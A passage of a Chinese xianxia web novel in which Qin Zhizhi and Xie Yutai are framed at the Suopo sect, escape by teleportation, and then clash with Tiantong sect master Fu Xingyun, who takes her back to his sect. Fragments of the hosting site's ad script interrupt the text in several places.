走到大殿中间时,秦知知突然想起老和尚的话,扫了一眼雕花古朴的浑天镜,清了清喉咙道:“我能去看一眼浑天镜吗?” 谢煜台颔首,停下了脚步。 秦知知扫了一眼,见浑天镜真如普通的铜镜一般,稳稳的放在桌面上。若不是知道娑婆宗有这个玩意儿,谁愿意相信这就是传说中通天绝地的浑天镜呢? 铜镜上模模糊糊的倒映出自己的面貌,她伸手轻轻敲了敲,但听当当的声响萦绕耳畔,随后便将手搭在铜镜镜面上,闭眼于心中默问:“浑天镜,我的雀吟与绯独在哪里?” 秦知知想试试找找自己丢掉的两魄。 待问完后,她睁开双眼满眼期待的看向镜面,却见镜面纹丝不动,依然映照着秦芝芝的身形,纤细柔弱,探头探脑。 秦知知:? 这不跟普通的铜镜一样吗? 秦知知抬手狠狠敲了一下铜镜的边,却被弹的关节大痛。她捂住手倒抽了口凉气,转身跑回谢煜台的身边,嗡声道:“走了。” 大骗子。浑天镜一定出了大bug! 秦知知搓着手不甘心道:“浑天镜肯定出了问题!” 谢煜台淡淡问道:“是么?” 秦知知眨巴眨巴眼睛,想起之前他说的搜魂之事,支支吾吾道:“就……反正没准你看的也不一定是对的。” 谢煜台身形微顿,握着剑柄的手收紧:“多谢。” 谢煜台也没说他要搜谁的魂不是?万一是自己自作多情呢,也不好就这样断了别人的念想。秦知知揉着手指漫无天际的想着。 她见谢煜台推开大殿的门,刚要抬脚跟上去,谢煜台却突而凝神出声:“别动。” 秦知知一只脚僵在半空,放也不是退也不是。 她扶着门框小心探头:“怎么了?” 不看不知道,一看吓一跳。就在大殿门外横七竖八的躺了好几具尸体,他们披着统一的广袖海青,显然皆是娑婆宗的守门弟子,却各个死相极惨。 秦知知蒙了:“这是怎么回事?” 谢煜台侧头,语气凝重:“死去不久,皆是剑伤。” “怎么会?”娑婆宗是典型的法修门派,根本没有会用剑的弟子。难道就在他们二人进入大殿的短短时间内,娑婆宗出事了? 想到之前门外一闪而过的人,秦知知面色一变:“快走。” 脑子里一个惊悚的念头出现,她来不及多想,蓦地拉着谢煜台就往外面跑。 倘若娑婆宗出了大事,没道理此处完全没有动静,杀了守门弟子却不进大殿?图什么?更何况,都是剑伤,倘若不是娑婆宗横遭意外,那此时在娑婆宗的剑修还能有谁? 归元宗谢煜台。 这分明是一场有预谋的嫁祸。 想到之前谢煜台拉着自己躲入屏风后的举动,秦知知咬牙切齿道:“谢仙长,你到底得罪谁了?” 三宗之中以剑宗归元宗为首,又有刀宗天同宗,法修娑婆宗。剑宗刀宗因武器的原因平日里会更亲近一些,娑婆宗因功法玄妙极强调悟性,与其他门派一向不算亲近。但毕竟同属三宗,感情还是有的。娑婆宗的人难道杀敌一千自损八百的嫁祸谢煜台?简直不敢想象。如果不是娑婆宗的人,那还会是谁?是魔族? 万般念头从秦知知脑子中飞速闪过,最后化为一句,不管怎么样不能让人在现场抓到,不然真是人赃并获,狡辩都没得狡。 然而就在她拉着谢煜台穿过满月型拱门时,谢煜台脚步一顿。回身的刹那,衣袖翻飞,一道剑气从指间蹦出,“哗”的划破长空! 只听“当”的一声,一枚小小的法器被剑气所伤,跌落在地。 秦知知瞳孔骤然缩紧,便见一个人从两人背后缓缓走来。 “谢煜台,怎么?杀了我娑婆宗的弟子,连个交代也没有,就想走?” 来者头发微披,只随意的绑了截耷拉在肩膀上,束着金色抹额,颇有几分狂荡不羁的模样。正是娑婆宗宗主的大弟子,修为已至元婴的罗睺。 娑婆宗掌门闭关已久,现在宗门上下事务几乎都交于罗睺打理,说他是代掌门也不为过。 他话刚说完,身后又出现几个娑婆宗弟子,将谢煜台与秦知知二人团团包围。 果然,谢煜台前脚刚出来,后脚娑婆宗的人就追了上来,如此凑巧,若是没有人视线安排,谁会相信? 可是嫁祸谢煜台的目的究竟是什么? 虽然已经筑基,但元婴修士对自己的修为压制实在过于可怕。秦知知咽了咽口水,第一想法是,横竖这事儿跟自己没什么关系,她能跑吗? 罗睺也发现了秦知知,待见到她是目光中闪过一丝 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 惊讶,顷刻笑出声:“谢煜台,真没想到,你还挺会享受。” 秦知知:“……” 这表情是想到哪里去了? 还不待她想个明白,谢煜台抬手挥袖,秦知知只觉得身体一轻,不由自主的向东边飞去,紧接着便是谢煜台的传音:“传送阵,快走。” 离此处不远的地方有一传送阵,因是几百年前所设的随机传送阵,因此早已弃之不用,现在拿来逃命却是正好。秦知知想也没想,借着剑气手脚并用的向东边跑去。 罗睺见谢煜台想要让秦知知逃跑,敛起笑容:“你想让她跑?” 他身后的其他弟子见到后立刻追上前去,微风卷起谢煜台绑在脑后的白练,“刷”的一声,撼天出鞘! “谢煜台,你的对手是我。”罗睺双指为引,指向眉间,一道法阵从他脚底缓缓升起,来自元婴修士的威压之气顿时铺天盖地。撼天察觉到危险的气息,剑身嗡鸣作响,谢煜台脚底打着气旋,扬起他的袍角。 罗睺眯起双眼:“你的眼睛,究竟是怎么回事?” 谢煜台闻声而动,剑身光华大盛,急扑向对方—— 秦知知只听到背后“轰”的一声巨响,下意识回头便看见四个娑婆宗弟子鬼魅一般的跟在自己身后,面无表情,悄无声息,吓得她大叫道:“妈呀!” 这四个弟子人人手持一根长棍,见秦知知脚步微顿,皆向她袭来。 秦知知侧身躲过,其中一个弟子却正好近身,一把抓住了她腰间拴着的乾坤袋。她连忙伸手去捞,却见那弟子跑的比兔子还快,连忙怒道:“你打我就算了,你抢我东西算什么啊?” 这乾坤袋是和光派掌门给自己的东西,在娑婆宗这里出了事,必不能让和光派也跟着受累,得拿回来。 气不打一处来的秦知知简直郁闷到了极点,索性停下脚步。 罗睺虽然很强,可是他身边带着的四个弟子修为却是筑基到辟谷不等,并非完全不能一战。 秦知知粗略扫了一眼,心下瞬间有了计较。 她双眼一眯瞬间抄起身边灌木丛上落下的一根树枝,冲着修为最低的一人猛然一刺!这一招气势逼人,刚劲有力,直逼对方门面。对方被这急速迅猛的刀气所震,目光蓦地一紧,下意识回避,秦知知却飞身向前,直接抢了他手中的长棍,直直一击,打中他的膝盖,只见对方猝不及防,“扑通”一声狠狠跪下。 秦知知手中的树枝竟是受不了这猛烈的刀气,瞬间断成数截。 她看也没看一眼,握着长棍,将破碎的树枝从手中丢了出去。 从前在天同宗,秦知知练得一手好大刀,虽然修为不算顶尖,但一招一式皆是傅行云亲自教导,身段潇洒。她的本命宝刀名曰归藏,端的是刚劲飒沓,游刃有余。 秦知知双眉一抬,就要去抓那个抢了自己乾坤袋的人。恰逢罗睺与谢煜台竟是一路向后退,两拨人马疏忽就打了个照面。 那个辟谷修为的弟子被谢煜台的剑气所震,当即勾起体内沉疴,灵气一窒。秦知知则趁机立刻抓住那位弟子的衣领,抢回了自己的乾坤袋。 罗睺抬眸见到她的身影,不禁狞笑道:“得来全不费工夫。” 他狠狠一掌拍向谢煜台,谢煜台持剑一挡,向后疾退,衣袂飞扬的瞬间,稳稳立在秦知知的身前。 其他四位弟子见罗睺身至,士气大涨,顷刻将两人围在中间。 谢煜台握剑的手一紧,从斩杀姜沅芷到对战啖无宁,如今再和元婴修为的罗睺交手,他的灵气已经耗损太快。若是他一人尚有一战之力,但还要顾忌秦知知,恐怕腹背受敌,很难脱身。 秦知知心中一动,突然抓住谢煜台的胳膊低声道:“我喊到三,立刻带我走。” 说罢她闭上双眼。 “一。” 罗睺逼近,盛大的法阵在他脚下开启:“还不死心?” “二。” 四位弟子双指抵在眉心,移动着双脚,配合着罗睺的动作布下法阵。 “三!” 秦知知霎时睁眼—— 梵天和唱,万法金轮,从她眸中冉冉升起。 罗摩眼! 17. 017 谢煜台:你很喜欢他? 喊到“三”的刹那,罗睺并四位弟子均向秦知知看来,她瞬间使出罗摩眼。 四目相接的那一刻,秦知知仿佛坠入无尽虚空,看见无数凌乱的画面从自己眼前一一闪过,画面太多太大,她完全无法动弹,而罗睺等人也随之陷入某种微妙的状态。 高手之间的对决,往往胜负就在一念之间。 只是这片刻的功夫,谢煜台趁着罗睺发愣,手倏忽揽着她的胳膊脚踏撼天,立刻向东边阵法飞去。 秦知知的识海中塞满了无数的身影,模模糊糊的,很多都是陌生的面孔。这都是谁的生活?罗睺,又或者是其他人?就在光速的闪烁中,她看到一个熟悉的身影,一个圆脸和尚笑眯眯的拍着对方的肩膀,说这些什么。 老和尚!老和尚原来也是娑婆宗的人? 秦知知想要抓住这个画面却顷刻退去,伴随着脑中一阵绞痛,整的她心里直犯恶心。 她的额头渗出细细密密的汗珠,勉强回头瞪大眼睛,最后扫了一眼仍在原地发愣的五人。 就在落到罗睺身上时,秦知知忍不住“咦”了一声。 谢煜台察觉到她的异样:“怎么?” 秦知知纳闷:“他怎么头顶冒黑烟啊?” 其他四人尚未有异常,可罗睺的头顶上却冒起了阵阵黑烟,像是中了毒一般。 然而不待她深究,秦知知便觉得眼睛胀痛的快要爆炸,连忙狠狠闭上双眼,将脑袋中的画面全部清空,这才从胀痛中缓缓平复过来。 罗摩眼,如此强大的功法,可惜现在的她似乎还无法很好驾驭。 此时,谢煜台已甩开五人,拉着她稳稳落在法阵的之上。 东边的法阵已经废弃已久,两人落在上面法阵却毫无反应。谢煜台将撼天立在法阵中间,以剑气为引想要催动法阵,谁知仍然没有动静。 谢煜台:“……” 秦知知:“……” 这玩意儿真的还能用吗? 谢煜台:“试试灵石。” “好啊。”秦知知应了一声,却见对方迟迟没有动静,刚要开口时突然意识到,谢煜台可能身上是没有。 没错,剑修一直很穷。至于穷到什么程度呢,不缺钱的秦知知也没具体考虑过。 反正比天同宗来说,是真的很穷。 往日傅行云就经常嫌弃道:“隔壁那群收破烂的,挂着破铜废铁还当宝。” “嗨呀,还好我把乾坤袋给抢回来了!”一提到这事秦知知就感觉美滋滋,要不怎么说自己未卜先知呢?要是刚刚乾坤袋被抢走,两人身上没有灵石,就算跑到法阵这里还是没办法啊。 真是幸运星本星。 她掏出两个上品灵石,催动法阵。不过一瞬,但见谢煜台与秦知知二人双脚腾空,身影渐渐淡去,法阵开启。 又是一阵天旋地转之后,身体的滞空感消失,秦知知听见了鸟啼,闻见了淡淡的草木清香和不远处……诱人的食物香味。 救了个大命,她饿了! 上一次吃饭还是在和光派,秦知知尚未辟谷,中间折腾来折腾去还顺便筑了个基,又是打架又是逃跑,体能消耗挺大的,饿肚子好像也挺正常。 秦知知心里默默盘算了一下:“谢仙长,这阵是随机传送……” 这随机传送的阵到底给我们送哪儿了?能不能先让我吃个饭啊? 然而还没等她把话说完,便被谢煜台打断:“你既已筑基,不必再叫我仙长。” “哦。”秦知知满脑子问号,不叫仙长叫什么?谢煜台啊? 于是沉默片刻,她开口:“谢~哥~哥~~” 谢煜台:“……” 夹子音这个,她真的熟啊,她其实比秦芝婕会多了。 “谢~哥~哥~,我们这是在哪儿啊?” 谢煜台握着剑柄,脚步一顿,终究是没有说什么,随着秦知知去了。 法阵在一个密林之间,不过只走了几步便可以隐隐看见前方的飞檐与瓦顶,显然有个小镇就在两人面前。 谢煜台信步向前,与周围的景色格格不入,每一步却走得又轻又稳。风卷起谢煜台衣袍的一角,他衣襟上的白鹤振翅而飞,仿佛活了过来。 两人足够幸运,随机传送的法阵正巧将他们传送到了归元宗山脚下的小镇处。从此处御剑不过一刻钟,便可回到归元宗,于现在遇到麻烦的谢煜台来说是大方便。 闻着空气中散发出若有若无的食物香气,秦知知左顾右盼,咽了咽口水。 “咕咕咕……”肚子发出一阵雷鸣之声,她连忙捂住肚子,狠狠咳了两下,企图掩耳盗铃。 秦知知捏了捏手心,小心翼翼的看了眼立在前方的谢煜台。一般来说,这饿的肚子叫,是只有自己才听得到的吧?她该怎么才能礼貌而不尴尬的在如此危急的情况下提出去吃顿饭的事情呢? “咕咕咕咕……” 谢煜台也没回答,只是往前走,不多时便停在一个酒馆前。突兀横出的飞檐下,映着天边残霞乱红,高高飘荡的商铺招牌旁挂着有些破旧的红灯笼,有气无力的在风中摇摆。 “进去吧。” 秦知知抱着肚子,不敢置信:“你都听见啦?” 她还有故意咳嗽呢,怎么感觉什么用也没有啊? 谢煜台仿佛没听到她问的这句话,已经抬腿走了进去。 秦知知站在原地羞愤欲死。这尼玛,请问,长在肚子上的肉既不隔音也不保暖,究竟有什么用? 可惜没有系统再来替她回答。 不过秦知知这人没什么特别出色的地方,就是心态特别好。只要她忘得快,尴尬的就不是自己,因此很快便调整过来。人是铁饭是钢,一顿不吃饿得慌,活的人哪能跟食物过不去呢不是? 谢煜台坐在靠窗的位置,秦知知大大方方的走过去,坐在他的对面。 看这两位客官身姿不凡,想来也是有头有脸的人物,店小二谄笑着迎上:“二位客官要吃点什么?” 谢煜台已经辟谷,应该没什么需求。秦知知也不推脱一番,直接问小二店里有什么招牌菜,待听完介绍 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后一口气报道:“我要烧三鲜、葫芦鸡、奶汤锅子鱼、八宝咸油茶。再加一份臊子面,千万别给我加香菜!” 店小二听得目瞪口呆,暗暗咋舌,这姑娘可真能吃。见秦知知很快报完,又小心翼翼问了一句:“咱们这儿的水盆羊肉可是招牌中的招牌,姑娘不尝尝?” 秦知知下意识道:“我不吃羊……” 转瞬又想到,不妙,自己刚刚点的可都是天同宗秦知知爱吃的东西,什么鸡,什么奶汤鱼,这不加香菜,再来个不吃羊肉,这重合率也太高了。 脱口而出的话在嘴巴里打了个转:“肉……但我要吃羊蝎子!再来一份手抓饭,多放点香菜,多放点!我就爱吃米饭放香菜。” 好家伙,店小二笑的脸上开了花,忙不迭的应声,下去备菜了。 酒馆里没什么人,故而菜上的很快,都是大盆大盘。秦知知吃的津津有味,嘴中还称赞不停:“嗯~这羊蝎子,真是太美味了。哇,这个手抓饭,绝了呀!我来尝尝这个香菜……” 羊蝎子和手抓饭静静放在桌角配着大盆香菜,动也没动。 谢煜台只是坐在一旁,听到秦知知的称赞,放在桌角的右手指尖无意识的敲击了两声,其余时间安静的像是一幅画。白练下的双眼是睁着还是闭着?究竟伤的有多重?又是因何而伤? 他对自己只字不提,从来不说。 “娑婆宗到底是什么情况啊?”秦知知的眼神总是不由自主的落到谢煜台的身上,她是真的觉得很奇怪。头顶冒黑烟的罗睺,突然死掉的娑婆宗弟子,为什么偏偏是谢煜台? 谢煜台淡淡道:“娑婆宗恐有事端,还要烦请你与我一同上山,将此事奏禀掌门。” “啊……”秦知知愣住,她也要去啊? 不过谢煜台说的也没错,既然有人暗中想要嫁祸他,光凭谢煜台一人的证词自然没有用,带着自己过去也好解释一二。 “那行吧……”秦知知答的犹犹豫豫。 “你想去何处?”听出她的不情不愿,谢煜台突然问道。 秦知知理所应当道:“和光派啊。” 如果不是因为娑婆宗突然有变,她是应该先回和光派再说。毕竟那么大一个人说没就没,也怪吓人的。 谢煜台右手握着茶盏,送到唇边浅浅一抿:“你很喜欢他?” 秦知知怔怔望着他,一时之间有些反应不过来对方在说什么。 “方才亦是不顾性命也要抢回乾坤袋……” 毕竟乾坤袋是君无涯送的,而君无涯亦在和光派中。 很久很久之前,系统总会在她的识海里大叫:“宿主,不会吧,你喜欢谢煜台?” 秦知知莫名其妙:“怎么了啊?” 系统:“这可是谢煜台啊,你不会是来真的吧?你喜欢他?” 秦知知道:“安啦,不喜欢。” “你很喜欢他?” 曾经的对话从眼前略过,不知何处有风吹来拂过秦知知的发梢,她捏紧了手中的筷子,鬼使神差道:“是啊,很喜欢。” 18. 018 秦知知说完,两人都陷入难言的沉默中,谢煜台本就沉默寡言,秦知知话已经说到这个份上,自是不可能开口再追问下去。秦知知则安静的扒着碗里的饭,眼神老老实实的盯着动也没动的香菜炒饭,眼观鼻鼻观心。 半晌,她开口解释:“我跟君哥哥是自幼定的娃娃亲。” 没忍住,再补了一句:“青梅竹马,两小无猜。” 接着,埋头沉默的吃完了饭。 谢煜台沉默的抬手一点,带着秦知知御剑飞行。 谢煜台束在脑后的白练随风卷起,秦知知安静的盯着风中的飘扬白练,又在片刻后安静的移开视线。 与和光派的曲水流觞,茂林修竹完全不同。归元宗地势险峻,傲雪凌霜。整个宗门建在崇山峻岭之上,堆琼积玉,绝顶星河。倘若是凡夫俗子想要从此处翻过,无异于是天方夜谭。故而归元宗挑选弟子,先要能过此山万层阶梯,考验的便是坚韧心性。 归元宗对于秦知知来说可实在是太熟悉了,简直是她在修仙界第二个家,闭着眼睛都能将宗门的几大殿几个峰头摸个遍。 世人都知谢煜台是归元宗首席大弟子,但其实谢煜台并不是归元宗宗主的嫡传徒弟,他乃是问剑峰衍琛长老的亲传亦是唯一的弟子。衍琛长老论辈分要比现在归元宗的宗主还要高一些,曾在修行之时与已经飞升的雪堂剑仙切磋过,从此一心问剑,不问世事。他不收徒亦不传道,让他破格的唯有谢煜台。 问剑峰地势最为险峻,镇守着裂天变。传说裂天变中封印着上古魔魅,一旦放出天倾地覆,通天浩劫。 但这都已经是很久很久之前的传说了。 看见问剑峰的峰顶,谢煜台脚下的撼天剑减缓速度,倾斜小小的角度向下飞去。还没等两人落地,从地上挥来一道霸道的刀气,宛如一条飞驰的长龙,劈头盖脸的就向谢煜台砸来。 秦知知作为被殃及的池鱼,被劈的风中凌乱,双脚一滑从撼天剑上掉了下去,好在这时距离地面已经十分之近,只是摔得有些狼狈,倒也没有特别疼。 她“哎哟”一声,还没来得及抱怨,就听到一个熟悉的声音嚣张至极,从前方传来:“谢煜台,别躲躲藏藏的像个孙子,快把师妹还给我!” 这个声音三分疏朗三分清越,剩下的就只有满满的倨傲。 秦知知惊愕的抬头,但见前方站着一个男子,看起来十分年轻最多不到三十的年纪。身着蓝色云翔纹窄袖袍,披着白色大氅,腰间朱红白玉腰带,朗目疏眉,丰神俊秀。他手握着一把重铁长刀,刚刚那霸道的刀气便是他抬手挥出,故意打向谢煜台。 来者与其他修士完全不同,通身贵气。秦知知看的喉中一梗,眼前之人不是天同宗宗主傅行云又是谁? 傅行云是另一种类型的当世奇才,他乃变异火灵根。作为天同宗老宗主的亲传大弟子,又得老宗主秦明修的一身真传,修行速度快的惊人。接手天同宗之后,他也曾因为年轻的样貌和较低的辈分被人看轻,面对诸多非议,傅行云通常是骂骂咧咧,提刀就打,打到对方服气为止。 他是当世最年轻的化神修士,亦是最年轻的三宗宗主。 是脾气火爆又傲慢的刀修,又是最护着秦知知的大师兄。 秦知知能在最后如愿完成任务,嫁给谢煜台,也多亏傅行云放下身段亲自登门,不管是逼迫是动手,是利诱是协商,总之不久谢煜台便前来提亲,遂了她的愿。 有时候秦知知甚至会在想,是不是自己想要捅个天,傅行云都会二话不说的提刀就冲。 谢煜台也从空中落下,他收起撼天剑,紧抿着唇线,开口道:“傅宗主。” 傅行云见他双目之上遮着的白练,冷笑道:“你在装什么可怜?难道以为这样我就会放过你?” 问剑峰上还有其他弟子,化神修为对他们威压太重,故而都不敢靠的太近,听到傅行云对谢煜台出言不逊,几个弟子面上都有几分忿然。 一个绑着恨天高的小弟子胆子大,探出头来直言道:“傅宗主,谢师兄已经杀了姜沅芷为秦姑娘报仇了,难道还不够吗?更何况要不是因为斩杀姜沅芷,谢师兄的眼睛也不会出事!” 他们早就从和光派那里得到消息,孤身前往魔界的谢煜台越/境对战魔族妖女,亲手斩杀姜沅芷,也因此瞎了眼睛。 谁知这个小弟子说完后傅行云反而笑的更大声,语气中满是讽刺:“杀了姜沅芷又如何?在我看来,最该死的人明明就站在这里。” 傅行云话音刚落,周围一片寂静,仿佛连空气也停止流动。 秦知知不由自主的屏住呼吸。 霎时之间,谢煜台周身无风自动,卷起他的衣角飞扬。他一步一步向傅行云走去,剑气四溢,卷起脚下残雪簌簌。仅有他一人的身旁仿佛落下疏疏白雪,天地独这一抹绝色。 “我不能死。”谢煜台开口,语气比剑气更冰冷,“至少是现在。” “谁管你死不死,”傅行云出声的瞬间,动身向谢煜台挥刀斩去,“我要你把我师妹还回来!” 谢煜台直直迎上,当的一声刀剑相撞,“刷”的震出一道气流,地上的残雪被吹破,露出黑色的土壤,顷刻地面就变得斑斑点点。 秦知知被这一招震的脑瓜子嗡嗡,差点就要变成蚊香眼。还没来得及咽下喉中腥甜,便见傅行云和谢煜台打了起来。二人皆是身形挺拔,龙姿凤章,衣袖翻飞之间,低修为的弟子们都被震的七零八落,横七竖八的躺了一片。 “不可能。”谢煜台一字一句道。 傅行云怒极反笑:“你算老几,说不可能就不可能?快把我师妹的尸体交出来,不然我今日就端了你们问剑峰!” ……尼玛,原来你们两个大男人在这里掰头来掰头去就为了抢一具尸体的吗?秦知知当即无语。之前听傅行云那语气,她差点以为天同宗的秦知知还活着呢,还纳闷系统跟她说好的身体不能用了呢? 谢煜台蓦地抬头,背后缓缓展开一道乾坤剑境,一把黑金色的小剑悬在空中:“她没死,我不会让她死。” “放屁!她死了,就死在你面前!”傅行云低吼着,眼圈泛红,“就是因为你,都是因为你没能……” 不珍不重,不敬不爱。 他师妹秦知知自幼便得万千宠爱,倘若没有谢煜台…… “咳、你们……”秦知知再也忍不住出声叫停,她已经被刀气和剑气震的双眼冒金星,这俩人要是展开剑境和刀域再对打一番,谢煜台会不会死她不知道,但她肯定会死。 哦,严谨点,她会“再”死一回。 傅行云这才注意到一早就摔到地上的秦知知,待视线落到她的脸上后,傅行云动作一窒。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 接着他像是看到什么不敢置信的东西一样,蓦地瞪大了双眼,死死盯着秦知知。 秦知知:“……” 她该怎么办?要不给傅行云笑一个? 秦知知露出僵硬而很失礼貌的微笑后,傅行云目光一定,接着仰头大笑出声,那模样近乎癫狂:“谢煜台,才短短几日,你就找到了一个跟我师妹那么像的人,还带回了宗门。原来外面那帮小儿说的都是真的。” 秦知知迷惑:“说的什么?” 这才几天啊,能说出啥来? “呵呵,”傅行云低笑却不再理会秦知知,转而看向谢煜台,一字一顿,咬牙切齿,“我最后悔的就是,没有在我师妹遇到你之前,杀了你。” 秦知知:“……” 师兄!你冷静一点啊大师兄!杀了主角什么的,是反派做的事情啊! 话毕,傅行云再不压制自己的修为,以化神之阶狠狠一刀挥向谢煜台,这一招又狠辣又冷冽。谢煜台虎口一麻,撼天剑竟是直接从他手中弹飞,他向后疾退数步,而就在他后退的瞬间,之前所在之处泥土下陷,竟是生生被傅行云的刀气砸出一个大坑! 秦知知倒抽一口凉气,她突然意识到,在刚刚那一刻,傅行云对谢煜台是真的动了杀气。 谢煜台即便再强,但以金丹对战化神实乃无稽之谈,在傅行云的修为压制下仍是难免受制。他单膝着地,丝丝血迹自嘴角溢出。 傅行云冷哼一声走到秦知知的面前,直接拉过她的胳膊:“既然你不肯交出师妹,那这个人我带走了。” 秦知知:??? 幸福来得这么突然吗? “还是个筑基。”傅行云一抬眼皮,秦知知这才回过味来,除了最初的一眼,傅行云再也没有赏她第二个眼神。 秦知知觉得自己还能再挣扎一下:“这个……” 傅行云眼睛一瞪,怒目而视道:“怎么,你敢拒绝?” “不敢。”秦知知老老实实回答。 开玩笑,这可是天同宗宗主诶。更何况,她确实也很想回去。 傅行云冷哼一声,算她知趣。 “别走。” 被傅行云连带着不由自主走了几步的秦知知有些惊诧的回头,就见原本被击退的谢煜台踉踉跄跄的站起来。他的衣角沾染了些许泥土,洁白的鹤羽上落着点点血迹,撼天剑就躺在他的脚边。 谢煜台抬手,擦去嘴边的血丝,一步一步蹒跚着向秦知知所在之处走来,一身狼狈,满是风霜。 “别走。”他又说,蒙在双眼之上的布在此时白晃晃的扎眼。 秦知知脚步微顿,低声道:“他在说我吗?” 她眼神有些许迷茫,语气有几分不敢置信,下意识回头看了傅行云一眼,天啊她真的好想跟傅行云回天同宗。可是……可是谢煜台竟然叫她别走。 怎么会呢,这可是谢煜台啊。 高傲冷漠的谢煜台何曾如此出口挽留。 她从未见过如此脆弱的谢煜台。 “你答应过……”谢煜台猛然咳了几声,还未继续说,便被傅行云打断了。 傅行云面无表情的看着他,声音平静的毫无起伏:“哪怕是替身,你也不配。” 秦知知:“……” 她好像突然有点明白,外面那帮人传的到底是什么了。 19. 019 直到坐在傅行云的本命宝刀上后,秦知知心中都一团混乱。 她的脑海中不断闪现谢煜台最后的模样,踉踉跄跄的从地上站起,挺直着背,脚步却不由自主的有几分蹒跚。 衣襟带尘,袖袍血污。 他那么狼狈、那么失魂落魄。 为什么啊?怎么会呢? 那可是谢煜台啊。 五百年来一遇的天纵奇才,誉满天下的清冷“小谪仙”,修仙界新秀中当之无愧的第一剑修。 他曾经独身一人,剑挑六只修为相当于金丹时期的高阶妖兽,剑锋染血,衣襟凌乱,但没人会觉得谢煜台狼狈不堪。他手握撼天,步步坚毅,身形挺直,当百战不殆。 也曾于问剑峰顶,车轮式对战各样剑修,三天三夜,不眠不休。当是时,眉头紧皱,衣袖破败,可没人会觉得谢煜台脆弱好欺。他剑意凛然,已超越肉身,无人敢近他身,不可侵犯。 可是……为什么啊? 他怎会如此,怎么会说出“别走”。 往往说“别走”的那人总是秦知知。 “别走呀,谢煜台。” “谢煜台,你等等我。” 谢煜台去昆仑洞天前,因着不愿意带上自己,秦知知也是这样说。 她拽着对方的袖角,黑葡萄似的眼睛里溢满着委屈,可怜兮兮道:“那样我要好久都看不到你啦。” 小声哀求:“你别走嘛。” 轻扯着对方的衣袖:“要走就带上我。” 秦知知有些茫然的想,谢煜台还说“你答应过”。自己答应过什么了?竟然能让天下第一剑修如此耿耿于怀。 唔,大约是一同回归元宗的事吧,谢煜台想要自己替他做个人证,秦知知确实也答应过的。 涉及到清誉的问题,他应当也是十分在意的吧。 可总觉得哪里怪怪的。 秦知知抚上自己的心口,不知为何,她觉得这里堵的厉害,像是放了一堵墙,什么都出不去也进不来,闷闷的。 傅行云这波踩着刀飞行,还真是一点也不怜香惜玉,周围的景色跟放了三倍速似的刷刷略过,整的人耳晕目眩。就算秦知知已经是筑基也经不住这么造作,她长舒一口气,却瞬间被冷风灌的满头满脸,忍不住猛烈咳嗽了几声,连忙闭了眼睛稳住气息。 “那个……傅、傅宗主……”刚一开口,声音就在空中被撕的断断续续。 傅行云的声音从前面传来,倒是十分平稳:“不想被扔下去就闭嘴。” 秦知知:“……” 师兄,你这样会失去我的好吗? 但在这个时候开口确实很不明智,她刚刚被灌了一肚子的冷风也有些不适,秦知知老老实实闭了嘴。 老实说,她一直把自己当成完成任务的工具人,要说对这个世界有多深的感情实在说不上。甚至可以说,秦知知一直避免和更多的人接触,更没想着要去交朋友之类。系统有时候也觉得她太过咸鱼且工具人,甚至给她放假,让她多出去玩一玩,多认识一些人,秦知知都没怎么搭理。 毕竟作为恪守本分推动剧情的人物,她会死的。死亡对于她是新生,对于其他人来说总归还是有些残忍。 但是有两个人秦知知避无可避,一个是谢煜台,另一个就是傅行云。 前者是她的任务对象,后者是她在这里的依仗。 偶尔她会在傅行云面前忘掉自己是一个攻略者的身份,也能放肆的认为,她就是属于这个世界的秦知知。 重生后的秦知知宛如浮萍,漂泊游荡,可每当想到傅行云时她便会觉得有几分心安。她是想回天同宗的,从醒来后就这么想着。 即使只是去当一个普通弟子,一切从头再来。 在傅行云不要命赶路的情况下,二人不多时便从归元宗回到了天同宗。 与冰冷奇崛的归元宗完全不同,天同宗依山傍水,绿柳闻莺。宗门端的是亭台楼阁,碧瓦重檐。 傅行云直接落在主殿前,拎着秦知知就往里面走。他的两个亲传弟子正守在门口,一见师尊落地连忙迎上来:“师尊。” 待看到秦知知时,两人都有些怔愣。 秦知知则因着二人几乎一模一样的面孔,没忍住抿嘴笑了出来。 傅行云只收了两个徒弟,乃是龙凤双胎,姐姐裴兰舟,弟弟裴松舟。二人都是金系单灵根,天资出众,又生的皆是好样貌,端的是雌雄莫辨,五官精致——当然,因为他俩长的实在是太像了,跟在傅行云身边一左一右,漂亮的像观音坐下的童子。 总之这么些年,秦知知是没发现两人长的有什么区别,不过根据神态却是可以一眼看出来谁是姐姐,谁是弟弟。 姐姐裴兰舟性格稳重,面色冰冷,颇有几分不近人情的意味。弟弟裴松舟则较为跳脱,很爱说话,十分好相处。平日里,也是姐姐教训弟弟比较多。 虽然如此,但两人皆束着高高的长马尾,少年意气,又都面露怔愣时,秦知知还是一晃眼,完全没分出来这俩谁是谁。 简直跟复制粘贴似的,到底怎么长的。 傅行云一挥袖:“你俩在外面看着。” 裴兰舟和裴松舟乖乖应声后便退到了一旁。 有一个还是没忍住,抬头偷偷看了秦知知一眼。 嗯,这个肯定是弟弟裴松舟没错了。 傅行云带着秦知知走进大殿内,一直也没说话。解了身上的白色大氅随手一丢,露出身上蓝色云翔纹窄袖袍,干净利爽。 他先是施施然给自己斟了杯茶,慢条斯理的看着烟气袅袅升起,挥手扇了几下,又不慌不忙的端在手上,摩挲着手中的茶盏,仿佛那是什么稀世珍宝。 傅行云不说话,秦知知心下也有些摸不着底,站在他面前眼巴巴的看着。她师兄什么时候这么爱喝茶了?从前也不是什么风雅人物啊。 大概晾了秦知知这么一会,傅行云才缓缓开口:“自己说吧。” 如此言简意赅,到底是想让她说点啥呢? 秦知知挠头。 歪着头想了一会,秦知知决定稳一点,再苟一点:“小女子乃是武都城城主的大女儿,秦芝芝……” 傅行云将茶盏重重摔在案几上,茶水从边缘漏出,蜿蜿蜒蜒的在桌上留下了一瘫水渍。 “不是这个。” 行吧,不是这个,那可能是这个。 秦知知转了转眼睛:“我在佛昙被和光派弟子所救,之后却不幸遇到鬼修啖无宁,谢煜台仙长恰巧路过救下我们,这才相遇……” 傅行云重重一掌拍在桌子上,“砰”的一声跟锤到人心里似的,惊的秦知知目瞪口呆,目光直直看向案几后的那人。 她知道傅行云素来是个暴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = 